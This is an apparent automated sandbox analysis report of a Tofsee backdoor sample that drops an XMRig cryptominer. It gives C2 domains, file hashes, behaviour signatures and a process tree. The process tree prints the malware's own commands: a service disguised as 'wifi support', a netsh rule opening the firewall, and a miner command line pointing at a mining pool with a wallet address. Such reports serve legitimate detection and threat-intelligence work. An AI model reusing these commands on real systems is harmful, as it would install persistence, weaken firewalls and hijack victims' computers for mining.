Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 01:09

General

  • Target
    file.exe
  • Size 213KB
  • Sample221218-bhsbhaac52
  • SHA256 528b41a1109add7cca54e64f61a5e91e304f1dfd357e4db27a7b04c350d645bc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yhjltwl\
      2⤵
        PID:4600
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kacpgyj.exe" C:\Windows\SysWOW64\yhjltwl\
        2⤵
          PID:4948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yhjltwl binPath= "C:\Windows\SysWOW64\yhjltwl\kacpgyj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yhjltwl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yhjltwl
          2⤵
          • Launches sc.exe
          PID:3476
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1036
          2⤵
          • Program crash
          PID:1696
      • C:\Windows\SysWOW64\yhjltwl\kacpgyj.exe
        C:\Windows\SysWOW64\yhjltwl\kacpgyj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:8
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2708 -s 508
          2⤵
          • Program crash
          PID:4680
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1368 -ip 1368
        1⤵
          PID:4516
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2708 -ip 2708
          1⤵
            PID:3728

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                kacpgyj.exe

                • Path C:\Users\Admin\AppData\Local\Temp\kacpgyj.exe
                • Size 12.3MB
                • SHA256 6779fb1e22eb3873d63b4bb87c84e9d130aa5b1dce29029d8d2a693204d04532
                • MD5 SHA1 SHA512 SSDEEP

                kacpgyj.exe

                • Path C:\Windows\SysWOW64\yhjltwl\kacpgyj.exe
                • Size 12.3MB
                • SHA256 6779fb1e22eb3873d63b4bb87c84e9d130aa5b1dce29029d8d2a693204d04532
                • MD5 SHA1 SHA512 SSDEEP

                memory/8-177-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                memory/8-172-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                memory/1368-134-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/1368-133-0x00000000004A0000-0x00000000004B3000-memory.dmp

                memory/1368-144-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/1368-143-0x0000000000603000-0x0000000000613000-memory.dmp

                memory/1368-132-0x0000000000603000-0x0000000000613000-memory.dmp

                memory/2708-149-0x00000000006AD000-0x00000000006BE000-memory.dmp

                memory/2708-150-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/3636-146-0x0000000000A30000-0x0000000000A45000-memory.dmp

                memory/3636-151-0x0000000000A30000-0x0000000000A45000-memory.dmp

                memory/3636-152-0x0000000000A30000-0x0000000000A45000-memory.dmp

                memory/3636-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/3636-156-0x0000000001DA0000-0x0000000001DA6000-memory.dmp

                memory/3636-159-0x0000000001DB0000-0x0000000001DC0000-memory.dmp

                memory/3636-162-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

                memory/3636-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

                memory/3636-168-0x0000000002BE0000-0x0000000002BE7000-memory.dmp